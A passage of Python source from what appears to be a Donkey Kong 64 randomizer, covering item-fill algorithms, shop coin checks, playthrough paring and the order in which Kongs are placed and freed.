Types.Kong])\n if currentMoveKongsUnlocked > existingMoveKongsUnlocked:\n continue\n # If a move unlocks a new boss key it is more useful than others, even if it has a worse coin differential\n existingMoveKeysUnlocked = len([x for x in shopUnlocksItems[locationToBuy] if ItemList[x].type == Types.Key])\n currentMoveKeysUnlocked = len([x for x in shopUnlocksItems[shopLocation] if ItemList[x].type == Types.Key])\n if currentMoveKeysUnlocked > existingMoveKeysUnlocked:\n continue\n # All else equal, pick the move with the lowest overall coin differential\n existingMoveCoinDiff = sum(list(shopDifferentials[locationToBuy]))\n currentMoveCoinDiff = sum(list(shopDifferentials[shopLocation]))\n if currentMoveCoinDiff < existingMoveCoinDiff:\n locationToBuy = shopLocation\n # Purchase the \"least helpful\" move & add to owned Items\n # print(\"Choosing to buy \" + LocationList[locationToBuy].item.name + \" from \" + LocationList[locationToBuy].name)\n locationsToPurchase.append(locationToBuy)\n\n\ndef Reset():\n \"\"\"Reset logic variables and region info that should be reset before a search.\"\"\"\n LogicVariables.Reset()\n Logic.ResetRegionAccess()\n Logic.ResetCollectibleRegions()\n\n\ndef ParePlaythrough(settings, PlaythroughLocations):\n \"\"\"Pare playthrough down to only the essential elements.\"\"\"\n locationsToAddBack = []\n mostExpensiveBLocker = max([settings.blocker_0, settings.blocker_1, settings.blocker_2, settings.blocker_3, settings.blocker_4, settings.blocker_5, settings.blocker_6, settings.blocker_7])\n # Check every location in the list of spheres.\n for i in range(len(PlaythroughLocations) - 2, -1, -1):\n sphere = PlaythroughLocations[i]\n # We want to track specific GBs in each sphere of the spoiler log up to and including the sphere where the last B. Locker becomes openable\n if i > 0 and PlaythroughLocations[i - 1].availableGBs > mostExpensiveBLocker:\n sphere.locations = [locationId for locationId in sphere.locations if LocationList[locationId].item != Items.GoldenBanana]\n for locationId in sphere.locations.copy():\n location = LocationList[locationId]\n # All GBs that make it here are logically required\n if location.item == Items.GoldenBanana:\n continue\n # Copy out item from location\n item = location.item\n location.item = None\n # Check if the game is still beatable\n Reset()\n if GetAccessibleLocations(settings, [], SearchMode.CheckBeatable):\n # If the game is still beatable, this is an unnecessary location, remove it.\n sphere.locations.remove(locationId)\n # We delay the item to ensure future locations which may rely on this one\n # do not give a false positive for beatability.\n location.SetDelayedItem(item)\n locationsToAddBack.append(locationId)\n else:\n # Else it is essential, don't remove it from the playthrough and add the item back.\n location.PlaceItem(item)\n\n # Check if there are any empty spheres, if so remove them\n for i in range(len(PlaythroughLocations) - 2, -1, -1):\n sphere = PlaythroughLocations[i]\n if len(sphere.locations) == 0:\n PlaythroughLocations.remove(sphere)\n\n # Re-place those items which were delayed earlier.\n for locationId in locationsToAddBack:\n LocationList[locationId].PlaceDelayedItem()\n\n\ndef PareWoth(settings, PlaythroughLocations):\n \"\"\"Pare playthrough to locations which are Way of the Hoard (hard required by logic).\"\"\"\n # The functionality is similar to ParePlaythrough, but we want to see if individual locations are\n # hard required, so items are added back after checking regardless of the outcome.\n WothLocations = []\n for sphere in PlaythroughLocations:\n # Don't want constant locations in woth\n for loc in [x for x in sphere.locations if not LocationList[x].constant]:\n WothLocations.append(loc)\n # Check every item location to see if removing it by itself makes the game unbeatable\n for i in range(len(WothLocations) - 1, -1, -1):\n locationId = WothLocations[i]\n location = LocationList[locationId]\n item = location.item\n # ParePlaythrough already removes unnecessary slams. Any slams that get here are required.\n if item == Items.ProgressiveSlam:\n continue\n location.item = None\n # Check if game is still beatable\n Reset()\n if GetAccessibleLocations(settings, [], SearchMode.CheckBeatable):\n # If game is still beatable, this location is not hard required\n WothLocations.remove(locationId)\n # Either way, add location back\n location.PlaceItem(item)\n return WothLocations\n\n\ndef RandomFill(itemsToPlace, validLocations):\n \"\"\"Randomly place given items in any location disregarding logic.\"\"\"\n random.shuffle(itemsToPlace)\n # Get all remaining empty locations\n empty = []\n for (id, location) in LocationList.items():\n if location.item is None:\n empty.append(id)\n # Place item in random locations\n while len(itemsToPlace) > 0:\n item = itemsToPlace.pop()\n itemEmpty = [x for x in empty if x in GetItemValidLocations(validLocations, item)]\n if len(itemEmpty) == 0:\n return len(itemsToPlace)\n random.shuffle(itemEmpty)\n locationId = itemEmpty.pop()\n LocationList[locationId].PlaceItem(item)\n empty.remove(locationId)\n return 0\n\n\ndef ForwardFill(settings, itemsToPlace, validLocations, ownedItems=None):\n \"\"\"Forward fill algorithm for item placement.\"\"\"\n if ownedItems is None:\n ownedItems = []\n random.shuffle(itemsToPlace)\n ownedItems = ownedItems.copy()\n # While there are items to place\n while len(itemsToPlace) > 0:\n # Find a random empty location which is reachable with current items\n reachable = GetAccessibleLocations(settings, ownedItems.copy())\n reachable = [x for x in reachable if LocationList[x].item is None and x in validLocations]\n if len(reachable) == 0: # If there are no empty reachable locations, reached a dead end\n return len(itemsToPlace)\n random.shuffle(reachable)\n locationId = reachable.pop()\n # Get a random item and place it there, also adding to owned items\n item = itemsToPlace.pop()\n ownedItems.append(item)\n LocationList[locationId].PlaceItem(item)\n return 0\n\n\ndef GetItemValidLocations(validLocations, item):\n \"\"\"Get the list of valid locations for this item.\"\"\"\n # If validLocations is a dictionary, check for this item's value\n itemValidLocations = validLocations\n if isinstance(validLocations, dict):\n for itemKey in validLocations.keys():\n if item == itemKey:\n itemValidLocations = validLocations[itemKey]\n break\n # Valid locations entry wasn't found\n itemValidLocations = list(LocationList)\n return itemValidLocations\n\n\ndef AssumedFill(settings, itemsToPlace, validLocations, ownedItems=None, isPriorityMove=False):\n \"\"\"Assumed fill algorithm for item placement.\"\"\"\n if ownedItems is None:\n ownedItems = []\n # Calculate total cost of moves\n maxCoinsSpent = GetMaxCoinsSpent(settings, itemsToPlace + ownedItems)\n # While there are items to place\n random.shuffle(itemsToPlace)\n while len(itemsToPlace) > 0:\n # Get a random item, check which empty locations are still accessible without owning it\n item = itemsToPlace.pop(0)\n itemShuffled = False\n owned = itemsToPlace.copy()\n owned.extend(ownedItems)\n # Check current level of each progressive move\n slamLevel = sum(1 for x in owned if x == Items.ProgressiveSlam) + STARTING_SLAM\n ammoBelts = sum(1 for x in owned if x == Items.ProgressiveAmmoBelt)\n instUpgrades = sum(1 for x in owned if x == Items.ProgressiveInstrumentUpgrade)\n # print(\"slamLevel: \" + str(slamLevel) + \", ammoBelts: \" + str(ammoBelts) + \", instUpgrades: \" + str(instUpgrades))\n itemValidLocations = GetItemValidLocations(validLocations, item)\n # Find all valid reachable locations for this item\n Reset()\n reachable = GetAccessibleLocations(settings, owned)\n validReachable = [x for x in reachable if LocationList[x].item is None and x in itemValidLocations]\n # If there are no empty reachable locations, reached a dead end\n if len(validReachable) == 0:\n print(\"Failed placing item \" + ItemList[item].name + \", no valid reachable locations without this item.\")\n currentKongsFreed = [ItemList[x].name for x in owned if ItemList[x].type == Types.Kong]\n startKongList = []\n for x in settings.starting_kong_list:\n startKongList.append(x.name.capitalize())\n for i, kong in enumerate(startKongList):\n currentKongsFreed.insert(i, kong)\n currentMovesOwned = [ItemList[x].name for x in owned if ItemList[x].type == Types.Shop]\n currentGbCount = len([x for x in owned if ItemList[x].type == Types.Banana])\n js.postMessage(\"Current Moves owned at failure: \" + str(currentMovesOwned) + \" with GB count: \" + str(currentGbCount) + \" and kongs freed: \" + str(currentKongsFreed))\n return len(itemsToPlace) + 1\n random.shuffle(validReachable)\n # Shop items need coin logic\n if ItemList[item].type == Types.Shop:\n moveKong = ItemList[item].kong\n movePrice = GetPriceOfMoveItem(item, settings, slamLevel, ammoBelts, instUpgrades)\n movePriceArray = [0, 0, 0, 0, 0]\n if movePrice is not None:\n if moveKong == Kongs.any:\n for anyKong in range(5):\n maxCoinsSpent[anyKong] -= movePrice\n movePriceArray[anyKong] = movePrice\n else:\n maxCoinsSpent[moveKong] -= movePrice\n movePriceArray[moveKong] = movePrice\n elif ItemList[item].type == Types.Kong:\n ownedKongs = [KongFromItem(x) for x in owned if ItemList[x].type == Types.Kong]\n for i, kong in enumerate(settings.starting_kong_list):\n ownedKongs.insert(i, kong)\n kongBeingPlaced = KongFromItem(item)\n if kongBeingPlaced in ownedKongs:\n ownedKongs.remove(kongBeingPlaced) # Cannot free with the kong being placed\n # If kongs are needed for level progression\n if settings.kongs_for_progression:\n # To lower failure rate, place kongs from later to earlier levels\n japesIndex = GetShuffledLevelIndex(Levels.JungleJapes)\n aztecIndex = GetShuffledLevelIndex(Levels.AngryAztec)\n factoryIndex = GetShuffledLevelIndex(Levels.FranticFactory)\n kongPriority = {}\n for i in range(0, 7):\n if i == japesIndex:\n if Locations.DiddyKong in settings.kong_locations:\n kongPriority[Locations.DiddyKong] = i\n else:\n kongPriority[Locations.DiddyKong] = -1\n elif i == aztecIndex:\n if Locations.LankyKong in settings.kong_locations:\n kongPriority[Locations.LankyKong] = i\n else:\n kongPriority[Locations.LankyKong] = -1\n if Locations.TinyKong in settings.kong_locations:\n kongPriority[Locations.TinyKong] = i\n else:\n kongPriority[Locations.TinyKong] = -1\n elif i == factoryIndex:\n if Locations.ChunkyKong in settings.kong_locations:\n kongPriority[Locations.ChunkyKong] = i\n else:\n kongPriority[Locations.ChunkyKong] = -1\n validReachable.sort(key=lambda x: kongPriority[x], reverse=True)\n # Get a random, empty, reachable location\n for locationId in validReachable:\n # Atempt to place the item here\n LocationList[locationId].PlaceItem(item)\n # When placing a kong, also decide who among the owned kongs can free them\n if ItemList[item].type == Types.Kong:\n # If this is meant to be an empty cage, place no item here\n if locationId not in settings.kong_locations:\n LocationList[locationId].PlaceItem(Items.NoItem)\n # Choose the puzzle solver, even if it's an empty cage\n if locationId == Locations.DiddyKong:\n settings.diddy_freeing_kong = random.choice(ownedKongs)\n elif locationId == Locations.LankyKong:\n settings.lanky_freeing_kong = random.choice(ownedKongs)\n elif locationId == Locations.TinyKong:\n eligibleFreers = list(set(ownedKongs).intersection([Kongs.diddy, Kongs.chunky]))\n if len(eligibleFreers) == 0:\n js.postMessage(\"Failed placing item \" + ItemList[item].name + \" in location \" + LocationList[locationId].name + \", due to no kongs being able to free them\")\n valid = False\n break\n settings.tiny_freeing_kong = random.choice(eligibleFreers)\n elif locationId == Locations.ChunkyKong:\n settings.chunky_freeing_kong = random.choice(ownedKongs)\n # Check valid reachable after placing to see if it is broken\n # Need to re-assign owned items since the search adds a bunch of extras\n owned = itemsToPlace.copy()\n owned.extend(ownedItems)\n Reset()\n reachable = GetAccessibleLocations(settings, owned)\n valid = True\n # For each remaining item, ensure that it has a valid location reachable after placing this item\n for checkItem in itemsToPlace:\n itemValid = GetItemValidLocations(validLocations, checkItem)\n validReachable = [x for x in reachable if x in itemValid and x != locationId]\n if len(validReachable) == 0:\n js.postMessage(\"Failed placing item \" + ItemList[item].name + \" in location \" + LocationList[locationId].name + \", due to too few remaining locations in play\")\n valid = False\n break\n reachable.remove(validReachable[0]) # Remove one so same location can't be \"used\" twice\n # Attempt to verify coins\n # This check is skipped for priority items for the following reasons:\n # - We place only a handful of priority items and they must be bought anyway, so other expensive moves should be shifted instead\n # - We arbitrarily limit level (and therefore coin) access while placing priority moves, so this isn't an accurate check anyway\n if valid and ItemList[item].type == Types.Shop and not isPriorityMove:\n currentCoins = [0, 0, 0, 0, 0]\n for kong in range(5):\n currentCoins[kong] = LogicVariables.Coins[kong] - maxCoinsSpent[kong]\n # Breaking condition where we don't have access to enough coins\n for kong in range(5):\n if currentCoins[kong] < movePriceArray[kong]:\n # if currentCoins[kong] < 0:\n # print(\"Failed placing item: \" + ItemList[item].name)\n # print(\"movePriceArray: \" + str(movePriceArray))\n # print(\"Total Coins Accessible: \" + str(LogicVariables.Coins))\n # print(\"maxCoinsSpent: \" + str(maxCoinsSpent))\n # print(\"currentCoins: \" + str(currentCoins))\n # print(\"items left to place: \" + str(len(itemsToPlace)))\n valid = False\n # If world is not valid, undo item placement and try next location\n if not valid:\n LocationList[locationId].item = None\n itemShuffled = False\n continue\n itemShuffled = True\n break\n if not itemShuffled:\n js.postMessage(\"Failed placing item \" + ItemList[item].name + \" in any of remaining \" + str(len(validLocations)) + \" possible locations\")\n return len(itemsToPlace) + 1\n return 0\n\n\ndef GetMaxCoinsSpent(settings, ownedItems):\n \"\"\"Calculate the max number of coins each kong could have spent given the ownedItems and the price settings.\"\"\"\n MaxCoinsSpent = [0, 0, 0, 0, 0]\n slamLevel = sum(1 for x in ownedItems if x == Items.ProgressiveSlam) + STARTING_SLAM\n ammoBelts = sum(1 for x in ownedItems if x == Items.ProgressiveAmmoBelt)\n instUpgrades = sum(1 for x in ownedItems if x == Items.ProgressiveInstrumentUpgrade)\n for ownedItem in ownedItems:\n if ItemList[ownedItem].type == Types.Shop:\n moveKong = ItemList[ownedItem].kong\n if ownedItem == Items.ProgressiveSlam:\n slamLevel -= 1\n elif ownedItem == Items.ProgressiveAmmoBelt:\n ammoBelts -= 1\n elif ownedItem == Items.ProgressiveInstrumentUpgrade:\n instUpgrades -= 1\n movePrice = GetPriceOfMoveItem(ownedItem, settings, slamLevel, ammoBelts, instUpgrades)\n if movePrice is not None:\n if moveKong == Kongs.any:\n # Shared moves could have been bought by any kong\n for anyKong in range(5):\n MaxCoinsSpent[anyKong] += movePrice\n else:\n MaxCoinsSpent[moveKong] += movePrice\n # print(\"Move Kong: \" + moveKong.name)\n # print(\"Move Price : \" + str(movePrice))\n # print(\"MaxCoinsSpent: \" + str(MaxCoinsSpent))\n return MaxCoinsSpent\n\n\ndef GetItemPrerequisites(spoiler, targetItemId, ownedKongs=[]):\n \"\"\"Given the target item and the current world state, find a valid, minimal, unplaced set of items required to reach the location it is in.\"\"\"\n # The most likely case - if no moves are needed, get out of here quickly\n Reset()\n if GetAccessibleLocations(spoiler.settings, [], SearchMode.CheckSpecificItemReachable, targetItemId=targetItemId):\n return []\n requiredMoves = []\n if ownedKongs == []:\n ownedKongs = GetKongs()\n # Some locations can be accessed by multiple items, so we'll shuffle the order we check the items to randomly pick one of them first\n # We should have just placed this item, so it should be available with the provided list of owned kongs\n # We don't want to find requirements for Kongs we don't own, as we shouldn't need them\n # e.g. You own DK, Diddy, and Tiny but want to find the prerequisites for an item found in the Llama temple\n # You intentionally only look at DK/Diddy/Tiny moves so you don't find Grape as a prerequisite because you don't have Lanky\n # In this example (with no other shuffles), there are two possible return values depending on the shuffle order.\n # Either [Items.Guitar, Items.Coconut] OR [Items.Guitar, Items.Feather]\n moveList = [move for move in ItemPool.OwnedKongMoves(ownedKongs) if move != targetItemId]\n random.shuffle(moveList)\n lastRequiredMove = None\n for move in moveList:\n # For each move, see if adding it to the list of required moves gives us access to the location\n requiredMoves.append(move)\n Reset()\n if GetAccessibleLocations(spoiler.settings, requiredMoves.copy(), SearchMode.CheckSpecificItemReachable, targetItemId=targetItemId):\n # If it does give us access, then we don't need any more moves\n # Note the last required move for later\n lastRequiredMove = move\n break\n # If we didn't find a required move, the item was placed improperly somehow (this shouldn't happen)\n if lastRequiredMove is None:\n # DEBUG CODE - This helps find where items are being placed\n mysteryLocation = None\n for possibleLocationThisItemGotPlaced in GetValidLocationsForMove(spoiler, targetItemId):\n if LocationList[possibleLocationThisItemGotPlaced].item == targetItemId:\n mysteryLocation = LocationList[possibleLocationThisItemGotPlaced]\n break\n if mysteryLocation is None:\n raise Ex.ItemPlacementException(\"Target item not placed??\")\n raise Ex.ItemPlacementException(\"Item placed in an inaccessible location: \" + str(mysteryLocation.name))\n # requiredMoves now contains all items that are required, but probably a bunch of useless stuff too\n # Time to cull moves until we get to only exactly what we need\n while requiredMoves != [] and requiredMoves[0] != lastRequiredMove:\n # Remove the first item and see if we can still access the target\n possiblyUnnecessaryItem = requiredMoves.pop(0)\n Reset()\n if not GetAccessibleLocations(spoiler.settings, requiredMoves.copy(), SearchMode.CheckSpecificItemReachable, targetItemId=targetItemId):\n # If it's no longer accessible, then re-add it to the end of the list\n requiredMoves.append(possiblyUnnecessaryItem)\n # Repeat until we find the last required move\n return requiredMoves\n\n\ndef GetValidLocationsForMove(spoiler, move):\n \"\"\"Return the valid locations for the given move. Currently only returns shop locations for moves.\"\"\"\n validLocations = []\n if spoiler.settings.move_rando == \"cross_purchase\" or move in ItemPool.DonkeyMoves:\n validLocations.extend(ItemPool.DonkeyMoveLocations.copy())\n if spoiler.settings.move_rando == \"cross_purchase\" or move in ItemPool.DiddyMoves:\n validLocations.extend(ItemPool.DiddyMoveLocations.copy())\n if spoiler.settings.move_rando == \"cross_purchase\" or move in ItemPool.TinyMoves:\n validLocations.extend(ItemPool.TinyMoveLocations.copy())\n if spoiler.settings.move_rando == \"cross_purchase\" or move in ItemPool.ChunkyMoves:\n validLocations.extend(ItemPool.ChunkyMoveLocations.copy())\n if spoiler.settings.move_rando == \"cross_purchase\" or move in ItemPool.LankyMoves:\n validLocations.extend(ItemPool.LankyMoveLocations.copy())\n return list(validLocations)\n\n\ndef PlaceItems(settings, algorithm, itemsToPlace, ownedItems=None, validLocations=None, isPriorityMove=False):\n \"\"\"Places items using given algorithm.\"\"\"\n if ownedItems is None:\n ownedItems = []\n if validLocations is None:\n validLocations = []\n # Always use random fill with no logic\n if settings.no_logic:\n algorithm = \"random\"\n # If list of valid locations not provided, just use all valid locations\n if len(validLocations) == 0:\n validLocations = list(LocationList)\n if algorithm == \"assumed\":\n return AssumedFill(settings, itemsToPlace, validLocations, ownedItems, isPriorityMove)\n elif algorithm == \"forward\":\n return ForwardFill(settings, itemsToPlace, validLocations, ownedItems)\n elif algorithm == \"random\":\n return RandomFill(itemsToPlace, validLocations)\n\n\ndef Fill(spoiler):\n \"\"\"Fully randomizes and places all items. Currently theoretical.\"\"\"\n retries = 0\n while True:\n try:\n # First place constant items\n ItemPool.PlaceConstants(spoiler.settings)\n # Then place priority (logically very important) items\n highPriorityUnplaced = PlaceItems(spoiler.settings, spoiler.settings.algorithm, ItemPool.HighPriorityItems(spoiler.settings), ItemPool.HighPriorityAssumedItems(spoiler.settings))\n if highPriorityUnplaced > 0:\n raise Ex.ItemPlacementException(str(highPriorityUnplaced) + \" unplaced high priority items.\")\n # Then place blueprints\n Reset()\n blueprintsUnplaced = PlaceItems(spoiler.settings, spoiler.settings.algorithm, ItemPool.Blueprints(spoiler.settings), ItemPool.BlueprintAssumedItems(spoiler.settings))\n if blueprintsUnplaced > 0:\n raise Ex.ItemPlacementException(str(blueprintsUnplaced) + \" unplaced blueprints.\")\n # Then place the rest of items\n Reset()\n lowPriorityUnplaced = PlaceItems(spoiler.settings, spoiler.settings.algorithm, ItemPool.LowPriorityItems(spoiler.settings), ItemPool.ExcessItems(spoiler.settings))\n if lowPriorityUnplaced > 0:\n raise Ex.ItemPlacementException(str(lowPriorityUnplaced) + \" unplaced low priority items.\")\n # Finally place excess items fully randomly\n hi = ItemPool.ExcessItems(spoiler.settings)\n excessUnplaced = PlaceItems(spoiler.settings, \"random\", ItemPool.ExcessItems(spoiler.settings))\n if excessUnplaced > 0:\n raise Ex.ItemPlacementException(str(excessUnplaced) + \" unplaced excess items.\")\n # Check if game is beatable\n Reset()\n if not GetAccessibleLocations(spoiler.settings, [], SearchMode.CheckBeatable):\n raise Ex.GameNotBeatableException(\"Game unbeatable after placing all items.\")\n return\n except Ex.FillException as ex:\n if retries == 4:\n js.postMessage(\"Fill failed, out of retries.\")\n raise ex\n retries += 1\n js.postMessage(\"Retrying fill. Tries: \" + str(retries))\n Reset()\n Logic.ClearAllLocations()\n\n\ndef ShuffleSharedMoves(spoiler):\n \"\"\"Shuffles shared kong moves and then returns the remaining ones and their valid locations.\"\"\"\n # First place constant items\n ItemPool.PlaceConstants(spoiler.settings)\n # Set up owned items\n kongMoves = []\n kongMoves.extend(ItemPool.DonkeyMoves)\n kongMoves.extend(ItemPool.DiddyMoves)\n kongMoves.extend(ItemPool.LankyMoves)\n kongMoves.extend(ItemPool.TinyMoves)\n kongMoves.extend(ItemPool.ChunkyMoves)\n\n # If any shops have a kong's move placed, remove the shop from the pool for shared moves\n availableSharedShops = ItemPool.SharedMoveLocations.copy()\n kongMoveOccupiedShops = ItemPool.GetKongMoveOccupiedShops()\n for location in kongMoveOccupiedShops:\n availableSharedShops.remove(location)\n if len(availableSharedShops) < len(ItemPool.ImportantSharedMoves) + len(ItemPool.JunkSharedMoves):\n raise Ex.ItemPlacementException(\"Too many kong moves placed before shared moves. Only \" + len(availableSharedShops) + \" available for all shared moves.\")\n\n # When a shared move is assigned to a shop in any particular level, that shop cannot also hold any kong-specific moves.\n # To avoid conflicts, first determine which level shops will have shared moves then remove these shops from each kong's valid locations list\n importantSharedUnplaced = PlaceItems(\n spoiler.settings, \"assumed\", ItemPool.ImportantSharedMoves.copy(), [x for x in ItemPool.AllItems(spoiler.settings) if x not in ItemPool.ImportantSharedMoves], availableSharedShops\n )\n if importantSharedUnplaced > 0:\n raise Ex.ItemPlacementException(str(importantSharedUnplaced) + \" unplaced shared important items.\")\n junkSharedUnplaced = PlaceItems(\n spoiler.settings, \"random\", ItemPool.JunkSharedMoves.copy(), [x for x in ItemPool.AllItems(spoiler.settings) if x not in ItemPool.JunkSharedMoves], validLocations=availableSharedShops\n )\n if junkSharedUnplaced > 0:\n raise Ex.ItemPlacementException(str(junkSharedUnplaced) + \" unplaced shared junk items.\")\n sharedMoveShops = []\n for sharedLocation in availableSharedShops:\n if LocationList[sharedLocation].item is not None:\n sharedMoveShops.append(sharedLocation)\n locationsToRemove = ItemPool.GetMoveLocationsToRemove(sharedMoveShops)\n # Now we need to set up the valid locations dictionary\n validLocations = {}\n kongMoveArrays = [ItemPool.DonkeyMoves, ItemPool.DiddyMoves, ItemPool.LankyMoves, ItemPool.TinyMoves, ItemPool.ChunkyMoves]\n kongLocationArrays = [ItemPool.DonkeyMoveLocations, ItemPool.DiddyMoveLocations, ItemPool.LankyMoveLocations, ItemPool.TinyMoveLocations, ItemPool.ChunkyMoveLocations]\n mergedLocationArrays = ItemPool.DonkeyMoveLocations.copy()\n mergedLocationArrays.update(ItemPool.DiddyMoveLocations.copy())\n mergedLocationArrays.update(ItemPool.LankyMoveLocations.copy())\n mergedLocationArrays.update(ItemPool.TinyMoveLocations.copy())\n mergedLocationArrays.update(ItemPool.ChunkyMoveLocations.copy())\n for i in range(5):\n for item in kongMoveArrays[i]:\n if spoiler.settings.move_rando == \"cross_purchase\":\n validLocations[item] = mergedLocationArrays - locationsToRemove\n else:\n validLocations[item] = kongLocationArrays[i] - locationsToRemove\n return (kongMoves, validLocations)\n\n\ndef FillKongsAndMovesGeneric(spoiler):\n \"\"\"Facilitate shuffling individual pools of items in lieu of full item rando.\"\"\"\n retries = 0\n while True:\n try:\n FillKongsAndMoves(spoiler)\n # Check if game is beatable\n Reset()\n if not VerifyWorldWithWorstCoinUsage(spoiler.settings):\n raise Ex.GameNotBeatableException(\"Game unbeatable after placing all items.\")\n return\n except Ex.FillException as ex:\n if retries == 20:\n js.postMessage(\"Fill failed, out of retries.\")\n raise ex\n retries += 1\n if retries % 5 == 0:\n spoiler.settings.shuffle_prices()\n js.postMessage(\"Retrying fill. Tries: \" + str(retries))\n Reset()\n Logic.ClearAllLocations()\n\n\ndef GeneratePlaythrough(spoiler):\n \"\"\"Generate playthrough and way of the hoard and update spoiler.\"\"\"\n # Generate and display the playthrough\n Reset()\n PlaythroughLocations = GetAccessibleLocations(spoiler.settings, [], SearchMode.GeneratePlaythrough)\n ParePlaythrough(spoiler.settings, PlaythroughLocations)\n # Generate and display woth\n WothLocations = PareWoth(spoiler.settings, PlaythroughLocations)\n # Write data to spoiler and return\n spoiler.UpdateLocations(LocationList)\n spoiler.UpdatePlaythrough(LocationList, PlaythroughLocations)\n spoiler.UpdateWoth(LocationList, WothLocations)\n\n\ndef GetLogicallyAccessibleKongLocations(spoiler, kongLocations, ownedKongs, latestLevel):\n \"\"\"Find the logically accessible Kong Locations given the current state of Kong unlocking.\"\"\"\n logicallyAccessibleKongLocations = []\n for level in range(1, latestLevel + 1):\n if spoiler.settings.level_order[level] == Levels.JungleJapes and Locations.DiddyKong in kongLocations:\n logicallyAccessibleKongLocations.append(Locations.DiddyKong)\n if spoiler.settings.level_order[level] == Levels.FranticFactory and Locations.ChunkyKong in kongLocations:\n logicallyAccessibleKongLocations.append(Locations.ChunkyKong)\n if spoiler.settings.level_order[level] == Levels.AngryAztec and Locations.TinyKong in kongLocations and (Kongs.diddy in ownedKongs or Kongs.chunky in ownedKongs):\n logicallyAccessibleKongLocations.append(Locations.TinyKong)\n if (\n spoiler.settings.level_order[level] == Levels.AngryAztec\n and Locations.LankyKong in kongLocations\n # Must be able to bypass Guitar door - the active bananaports condition is in case your only Llama Temple access is through the quicksand cave\n and (Kongs.diddy in ownedKongs or spoiler.settings.open_levels or (Kongs.donkey in ownedKongs and spoiler.settings.activate_all_bananaports == \"all\"))\n and (Kongs.donkey in ownedKongs or Kongs.lanky in ownedKongs or Kongs.tiny in ownedKongs)\n ): # Must be able to open Llama Temple\n logicallyAccessibleKongLocations.append(Locations.LankyKong)\n return logicallyAccessibleKongLocations\n\n\ndef PlaceKongs(spoiler, kongItems, kongLocations):\n \"\"\"For these settings, Kongs to place, and locations to place them in, place the Kongs in such a way the generation will never error here.\"\"\"\n ownedKongs = [kong for kong in spoiler.settings.starting_kong_list]\n # In entrance randomizer, it's too complicated to quickly determine kong accessibility.\n # Instead, we place Kongs in a specific order to guarantee we'll at least have an eligible freer.\n # To be at least somewhat nice to no logic users, we also use this section here so kongs don't lock each other.\n if spoiler.settings.shuffle_loading_zones == \"all\" or spoiler.settings.no_logic:\n random.shuffle(kongItems)\n if Locations.ChunkyKong in kongLocations:\n kongItemToBeFreed = kongItems.pop()\n LocationList[Locations.ChunkyKong].PlaceItem(kongItemToBeFreed)\n spoiler.settings.chunky_freeing_kong = random.choice(ownedKongs)\n ownedKongs.append(ItemPool.GetKongForItem(kongItemToBeFreed))\n if Locations.DiddyKong in kongLocations:\n kongItemToBeFreed = kongItems.pop()\n LocationList[Locations.DiddyKong].PlaceItem(kongItemToBeFreed)\n spoiler.settings.diddy_freeing_kong = random.choice(ownedKongs)\n ownedKongs.append(ItemPool.GetKongForItem(kongItemToBeFreed))\n # The Lanky location can't be your first in cases where the Lanky freeing Kong can't get into the llama temple and you need a second Kong\n if Locations.LankyKong in kongLocations:\n kongItemToBeFreed = kongItems.pop()\n LocationList[Locations.LankyKong].PlaceItem(kongItemToBeFreed)\n spoiler.settings.lanky_freeing_kong = random.choice(ownedKongs)\n ownedKongs.append(ItemPool.GetKongForItem(kongItemToBeFreed))\n # Placing the Tiny location last guarantees we have one of Diddy or Chunky\n if Locations.TinyKong in kongLocations:\n kongItemToBeFreed = kongItems.pop()\n LocationList[Locations.TinyKong].PlaceItem(kongItemToBeFreed)\n eligibleFreers = list(set(ownedKongs).intersection([Kongs.diddy, Kongs.chunky]))\n spoiler.settings.tiny_freeing_kong = random.choice(eligibleFreers)\n ownedKongs.append(ItemPool.GetKongForItem(kongItemToBeFreed))\n # In level order shuffling, we need to be very particular about who we unlock and in what order so as to guarantee completion\n # Vanilla levels can be treated as if the level shuffler randomly placed all the levels in the same order\n elif spoiler.settings.shuffle_loading_zones in (\"levels\", \"none\"):\n latestLogicallyAllowedLevel = len(ownedKongs) + 1\n logicallyAccessibleKongLocations = GetLogicallyAccessibleKongLocations(spoiler, kongLocations, ownedKongs, latestLogicallyAllowedLevel)\n while len(ownedKongs) != 5:\n # If there aren't any accessible Kong locations, then the level order shuffler has a bug (this shouldn't happen)\n if not any(logicallyAccessibleKongLocations):\n raise Ex.EntrancePlacementException(\n \"Levels shuffled in a way that makes Kong unlocks impossible. SEND THIS TO THE DEVS! \" + json.dumps(spoiler.settings.__dict__) + \" SEND THIS TO THE DEVS!\"\n )\n # Begin by finding the currently accessible Kong locations\n # Randomly pick an accessible location\n progressionLocation = random.choice(logicallyAccessibleKongLocations)\n logicallyAccessibleKongLocations.remove(progressionLocation)\n # Pick a Kong to free this location from the Kongs we currently have\n if progressionLocation == Locations.DiddyKong:\n spoiler.settings.diddy_freeing_kong = random.choice(ownedKongs)\n elif progressionLocation == Locations.LankyKong:\n spoiler.settings.lanky_freeing_kong = random.choice(ownedKongs)\n elif progressionLocation == Locations.TinyKong:\n eligibleFreers = list(set(ownedKongs).intersection([Kongs.diddy, Kongs.chunky]))\n spoiler.settings.tiny_freeing_kong = random.choice(eligibleFreers)\n elif progressionLocation == Locations.ChunkyKong:\n spoiler.settings.chunky_freeing_kong = random.choice(ownedKongs)\n # Remove this location from any considerations\n kongLocations.remove(progressionLocation)\n # Pick a Kong to unlock from the locked Kongs\n kongToBeFreed = random.choice(kongItems)\n # With this kong, we can progress one level further\n latestLogicallyAllowedLevel += 1\n # If this Kong must unlock more locked Kong locations, we have to be more careful\n # The second condition here because we don't need to worry about the last placed Kong\n if len(logicallyAccessibleKongLocations) == 0 and len(kongItems) > 1:\n # First check if that newly accessible level adds a location. If it does, then it doesn't matter who we free here\n logicallyAccessibleKongLocations = GetLogicallyAccessibleKongLocations(spoiler, kongLocations, ownedKongs, latestLogicallyAllowedLevel)\n if not any(logicallyAccessibleKongLocations):\n # If it doesn't, then we need to see which Kongs will open more Kongs\n progressionKongItems = []\n for kongItem in kongItems:\n # Test each Kong by temporarily owning them and seeing what we can now reach\n tempOwnedKongs = [x for x in ownedKongs]\n tempOwnedKongs.append(ItemPool.GetKongForItem(kongItem))\n newlyAccessibleKongLocations = GetLogicallyAccessibleKongLocations(spoiler, kongLocations, tempOwnedKongs, latestLogicallyAllowedLevel)\n if any(newlyAccessibleKongLocations):\n progressionKongItems.append(kongItem)\n if len(progressionKongItems) == 0:\n raise Ex.FillException(\n \"Kongs placed in a way that is impossible to unlock everyone. SEND THIS TO THE DEVS! \" + json.dumps(spoiler.settings.__dict__) + \" SEND THIS TO THE DEVS!\"\n )\n # Pick a random Kong from the Kongs that guarantee progression\n kongToBeFreed = 